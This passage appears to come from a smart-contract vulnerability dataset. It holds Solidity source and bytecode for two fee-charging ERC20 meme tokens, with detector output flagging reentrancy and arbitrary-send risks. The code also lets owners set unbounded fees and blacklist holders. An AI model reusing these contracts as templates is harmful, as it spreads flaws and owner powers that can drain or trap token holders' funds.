_allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102db578063a9059cbb14610309578063c3c8cd8014610329578063d543dbeb1461033e578063dd62ed3e1461035e57600080fd5b80636fc3eaec1461026957806370a082311461027e578063715018a61461029e5780638da5cb5b146102b357600080fd5b806323b872dd116100dc57806323b872dd146101d8578063293230b8146101f8578063313ce5671461020d5780635932ead1146102295780636b9990531461024957600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118ad565b6103a4565b005b34801561014657600080fd5b5060408051808201909152600d81526c546865205265616c204c6f6b6960981b60208201525b60405161017991906119f1565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611882565b610451565b6040519015158152602001610179565b3480156101be57600080fd5b50683635c9adc5dea000005b604051908152602001610179565b3480156101e457600080fd5b506101a26101f3366004611842565b610468565b34801561020457600080fd5b506101386104d1565b34801561021957600080fd5b5060405160098152602001610179565b34801561023557600080fd5b50610138610244366004611974565b610893565b34801561025557600080fd5b506101386102643660046117d2565b6108db565b34801561027557600080fd5b50610138610926565b34801561028a57600080fd5b506101ca6102993660046117d2565b610953565b3480156102aa57600080fd5b50610138610975565b3480156102bf57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102e757600080fd5b50604080518082019091526005815264524c4f4b4960d81b602082015261016c565b34801561031557600080fd5b506101a2610324366004611882565b6109e9565b34801561033557600080fd5b506101386109f6565b34801561034a57600080fd5b506101386103593660046119ac565b610a2c565b34801561036a57600080fd5b506101ca61037936600461180a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d75760405162461bcd60e51b81526004016103ce90611a44565b60405180910390fd5b60005b815181101561044d576001600a600084848151811061040957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044581611b57565b9150506103da565b5050565b600061045e338484610aff565b5060015b92915050565b6000610475848484610c23565b6104c784336104c285604051806060016040528060288152602001611bc2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611035565b610aff565b5060019392505050565b6000546001600160a01b031633146104fb5760405162461bcd60e51b81526004016103ce90611a44565b600f54600160a01b900460ff16156105555760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103ce565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105923082683635c9adc5dea00000610aff565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105cb57600080fd5b505afa1580156105df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060391906117ee565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064b57600080fd5b505afa15801561065f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068391906117ee565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106cb57600080fd5b505af11580156106df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070391906117ee565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073381610953565b6000806107486000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107ab57600080fd5b505af11580156107bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e491906119c4565b5050600f8054674563918244f4000060105563ffff00ff60a01b1981166201000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085b57600080fd5b505af115801561086f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044d9190611990565b6000546001600160a01b031633146108bd5760405162461bcd60e51b81526004016103ce90611a44565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016103ce90611a44565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094657600080fd5b476109508161106f565b50565b6001600160a01b038116600090815260026020526040812054610462906110f4565b6000546001600160a01b0316331461099f5760405162461bcd60e51b81526004016103ce90611a44565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045e338484610c23565b600c546001600160a01b0316336001600160a01b031614610a1657600080fd5b6000610a2130610953565b905061095081611178565b6000546001600160a01b03163314610a565760405162461bcd60e51b81526004016103ce90611a44565b60008111610aa65760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103ce565b610ac46064610abe683635c9adc5dea000008461131d565b9061139c565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ce565b6001600160a01b038216610bc25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ce565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ce565b6001600160a01b038216610ce95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ce565b60008111610d4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ce565b6000546001600160a01b03848116911614801590610d7757506000546001600160a01b03838116911614155b15610fd857600f54600160b81b900460ff1615610e5e576001600160a01b0383163014801590610db057506001600160a01b0382163014155b8015610dca5750600e546001600160a01b03848116911614155b8015610de45750600e546001600160a01b03838116911614155b15610e5e57600e546001600160a01b0316336001600160a01b03161480610e1e5750600f546001600160a01b0316336001600160a01b0316145b610e5e5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103ce565b601054811115610e6d57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eaf57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb857600080fd5b600f546001600160a01b038481169116148015610ee35750600e546001600160a01b03838116911614155b8015610f0857506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1d5750600f54600160b81b900460ff165b15610f6b576001600160a01b0382166000908152600b60205260409020544211610f4657600080fd5b610f5142601e611ae9565b6001600160a01b0383166000908152600b60205260409020555b6000610f7630610953565b600f54909150600160a81b900460ff16158015610fa15750600f546001600160a01b03858116911614155b8015610fb65750600f54600160b01b900460ff165b15610fd657610fc481611178565b478015610fd457610fd44761106f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101a57506001600160a01b03831660009081526005602052604090205460ff165b15611023575060005b61102f848484846113de565b50505050565b600081848411156110595760405162461bcd60e51b81526004016103ce91906119f1565b5060006110668486611b40565b95945050505050565b600c546001600160a01b03166108fc61108983600261139c565b6040518115909202916000818181858888f193505050501580156110b1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cc83600261139c565b6040518115909202916000818181858888f1935050505015801561044d573d6000803e3d6000fd5b600060065482111561115b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ce565b600061116561140a565b9050611171838261139c565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122257600080fd5b505afa158015611236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125a91906117ee565b8160018151811061127b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a19130911684610aff565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112da908590600090869030904290600401611a79565b600060405180830381600087803b1580156112f457600080fd5b505af1158015611308573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132c57506000610462565b60006113388385611b21565b9050826113458583611b01565b146111715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ce565b600061117183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142d565b806113eb576113eb61145b565b6113f684848461147e565b8061102f5761102f6002600855600c600955565b6000806000611417611575565b9092509050611426828261139c565b9250505090565b6000818361144e5760405162461bcd60e51b81526004016103ce91906119f1565b5060006110668486611b01565b60085415801561146b5750600954155b1561147257565b60006008819055600955565b600080600080600080611490876115b7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c29087611614565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f19086611656565b6001600160a01b038916600090815260026020526040902055611513816116b5565b61151d84836116ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611591828261139c565b8210156115ae57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d48a600854600954611723565b92509250925060006115e461140a565b905060008060006115f78e878787611772565b919e509c509a509598509396509194505050505091939550919395565b600061117183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611035565b6000806116638385611ae9565b9050838110156111715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ce565b60006116bf61140a565b905060006116cd838361131d565b306000908152600260205260409020549091506116ea9082611656565b30600090815260026020526040902055505050565b60065461170c9083611614565b60065560075461171c9082611656565b6007555050565b60008080806117376064610abe898961131d565b9050600061174a6064610abe8a8961131d565b905060006117628261175c8b86611614565b90611614565b9992985090965090945050505050565b6000808080611781888661131d565b9050600061178f888761131d565b9050600061179d888861131d565b905060006117af8261175c8686611614565b939b939a50919850919650505050505050565b80356117cd81611b9e565b919050565b6000602082840312156117e3578081fd5b813561117181611b9e565b6000602082840312156117ff578081fd5b815161117181611b9e565b6000806040838503121561181c578081fd5b823561182781611b9e565b9150602083013561183781611b9e565b809150509250929050565b600080600060608486031215611856578081fd5b833561186181611b9e565b9250602084013561187181611b9e565b929592945050506040919091013590565b60008060408385031215611894578182fd5b823561189f81611b9e565b946020939093013593505050565b600060208083850312156118bf578182fd5b823567ffffffffffffffff808211156118d6578384fd5b818501915085601f8301126118e9578384fd5b8135818111156118fb576118fb611b88565b8060051b604051601f19603f8301168101818110858211171561192057611920611b88565b604052828152858101935084860182860187018a101561193e578788fd5b8795505b8386101561196757611953816117c2565b855260019590950194938601938601611942565b5098975050505050505050565b600060208284031215611985578081fd5b813561117181611bb3565b6000602082840312156119a1578081fd5b815161117181611bb3565b6000602082840312156119bd578081fd5b5035919050565b6000806000606084860312156119d8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611afc57611afc611b72565b500190565b600082611b1c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3b57611b3b611b72565b500290565b600082821015611b5257611b52611b72565b500390565b6000600019821415611b6b57611b6b611b72565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095057600080fd5b801515811461095057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f7dcdeb5581f1b4513b9598958e3796661cf3e8169416dd4e3c814aa3fe974e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,294
0x55ee721cf2cf602ddcb864e51082a791c5c85f20
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ //SPDX-License-Identifier: UNLICENSED /* https://t.me/memeshiba SEIZE the memes of production !!!!! Have you ever wondered why a meme could become so powerful? Do you think memes are all about a normal picture filled with funny content OR you already know memes could be a powerful cultural weapon that can have a significant impact on our daily lives? Memes are carriers of cultural information. The images at the beginning of this post are clear examples of memes in this sense, not because they made you laugh (or, more than likely, cringe), but because they allowed for the transmission of culturally salient information. One meme could become viral simply because it contains vast popular information. We believe that the cryptoworld is the best place to indicate and show how powerful one meme is. Shiba is one of the best and significant examples to show how powerful one meme can be, various projects are named after Shiba and most of them turn out successful. Combining the power of Shiba and the meme, we deliver MemeShiba to maximize the memes of production! Join us and SEIZE the memes of production ! */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MEMESHIBA is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e11 * 10**9; string public constant name = unicode"MEME SHIBA"; string public constant symbol = unicode"MEMESHIBA"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (5 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/2; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createNewPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiqNStart() external onlyOwner() { require(!_tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 2000000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeCollectionADD); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101dc5760003560e01c80635996c6b011610102578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd8014610578578063db92dbb61461058d578063dcb0e0ad146105a2578063dd62ed3e146105c257600080fd5b8063a9059cbb14610503578063b2289c6214610523578063b515566a14610543578063b60e16af1461056357600080fd5b806373f54a11116100d157806373f54a11146104705780638da5cb5b1461049057806394b8d8f2146104ae57806395d89b41146104ce57600080fd5b80635996c6b0146104115780636fc3eaec1461042657806370a082311461043b578063715018a61461045b57600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038d57806345596e2e146103a357806349bd5a5e146103c3578063590f897e146103fb57600080fd5b8063313ce567146102f757806331c2d8471461031e57806332d873d81461033e5780633bbac5791461035457600080fd5b806318160ddd116101b657806318160ddd146102865780631940d020146102ac57806323b872dd146102c257806327f3a72a146102e257600080fd5b806306fdde03146101e8578063095ea7b3146102345780630b78f9c01461026457600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021e6040518060400160405280600a8152602001694d454d4520534849424160b01b81525081565b60405161022b919061170d565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611787565b610608565b604051901515815260200161022b565b34801561027057600080fd5b5061028461027f3660046117b3565b61061e565b005b34801561029257600080fd5b5068056bc75e2d631000005b60405190815260200161022b565b3480156102b857600080fd5b5061029e600c5481565b3480156102ce57600080fd5b506102546102dd3660046117d5565b610698565b3480156102ee57600080fd5b5061029e6106ec565b34801561030357600080fd5b5061030c600981565b60405160ff909116815260200161022b565b34801561032a57600080fd5b5061028461033936600461182c565b6106fc565b34801561034a57600080fd5b5061029e600d5481565b34801561036057600080fd5b5061025461036f3660046118f1565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039957600080fd5b5061029e60095481565b3480156103af57600080fd5b506102846103be36600461190e565b610788565b3480156103cf57600080fd5b506008546103e3906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b34801561040757600080fd5b5061029e600a5481565b34801561041d57600080fd5b5061028461081b565b34801561043257600080fd5b50610284610a26565b34801561044757600080fd5b5061029e6104563660046118f1565b610a33565b34801561046757600080fd5b50610284610a4e565b34801561047c57600080fd5b5061028461048b3660046118f1565b610ac2565b34801561049c57600080fd5b506000546001600160a01b03166103e3565b3480156104ba57600080fd5b50600e546102549062010000900460ff1681565b3480156104da57600080fd5b5061021e604051806040016040528060098152602001684d454d4553484942416